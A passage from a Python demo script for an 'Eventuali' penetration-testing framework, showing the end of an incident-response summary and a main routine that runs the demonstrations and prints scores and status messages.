        print(f"Incidents Detected: {total_incidents}/{len(incident_responses)}")
        print(f"Average Response Time: {avg_response_time:.0f} seconds")
        print(f"Containment Success Rate: {containment_rate:.0f}%")
        
        # Response time assessment
        if avg_response_time <= 120:
            print("✅ Excellent incident response time (< 2 minutes)")
        elif avg_response_time <= 300:
            print("⚠️  Good incident response time (2-5 minutes)")
        else:
            print("🚨 Slow incident response time (> 5 minutes) - needs improvement")
        
        # Containment assessment
        if containment_rate >= 90:
            print("✅ Excellent containment capabilities")
        elif containment_rate >= 70:
            print("⚠️  Good containment capabilities with room for improvement")
        else:
            print("🚨 Poor containment capabilities - critical improvement needed")
    else:
        print("No incidents declared - attacks were prevented by security controls")
    
    return incident_responses


async def main():
    """Run all penetration testing demonstrations"""
    print("🔐 Eventuali Advanced Penetration Testing Framework - Example 29")
    print("=" * 80)
    print("\nThis example demonstrates comprehensive penetration testing capabilities")
    print("including attack simulation, vulnerability assessment, incident response,")
    print("and security metrics with detailed reporting and remediation guidance.")
    
    try:
        # Run all demonstrations
        await demonstrate_single_penetration_test()
        await demonstrate_attack_simulation()
        comprehensive_report = await demonstrate_comprehensive_testing()
        await demonstrate_security_metrics()
        await demonstrate_incident_response_simulation()
        
        print("\n" + "=" * 80)
        print("✅ Advanced Penetration Testing Demonstrations Completed Successfully!")
        print("\n📋 Key Features Demonstrated:")
        print("   • Comprehensive attack vector simulation")
        print("   • Multi-layered security control testing")
        print("   • Real-time vulnerability detection")
        print("   • Automated incident response simulation")
        print("   • Detailed security assessment reporting")
        print("   • Risk-based remediation prioritization")
        print("\n🛡️  Security Benefits:")
        print("   • Proactive vulnerability identification")
        print("   • Security control effectiveness validation")
        print("   • Incident response readiness assessment")
        print("   • Continuous security improvement")
        print("   • Compliance and audit readiness")
        
        # Show final security score
        final_score = comprehensive_report["summary"]["security_score"]
        risk_level = comprehensive_report["risk_assessment"]["risk_level"]
        
        print(f"\n🎯 FINAL SECURITY ASSESSMENT")
        print(f"   Security Score: {final_score:.1f}%")
        print(f"   Risk Level: {risk_level}")
        
        if final_score >= 90:
            print("   Status: 🛡️  EXCELLENT - Strong security posture")
        elif final_score >= 75:
            print("   Status: ✅ GOOD - Minor improvements needed")
        elif final_score >= 50:
            print("   Status: ⚠️  MODERATE - Significant improvements required")
        else:
            print("   Status: 🚨 CRITICAL - Immediate security attention required")
        
    except Exception as e:
        print(f"\n❌ Error during demonstration: {e}")
        raise


if __name__ == "__main__":
    asyncio.run(main())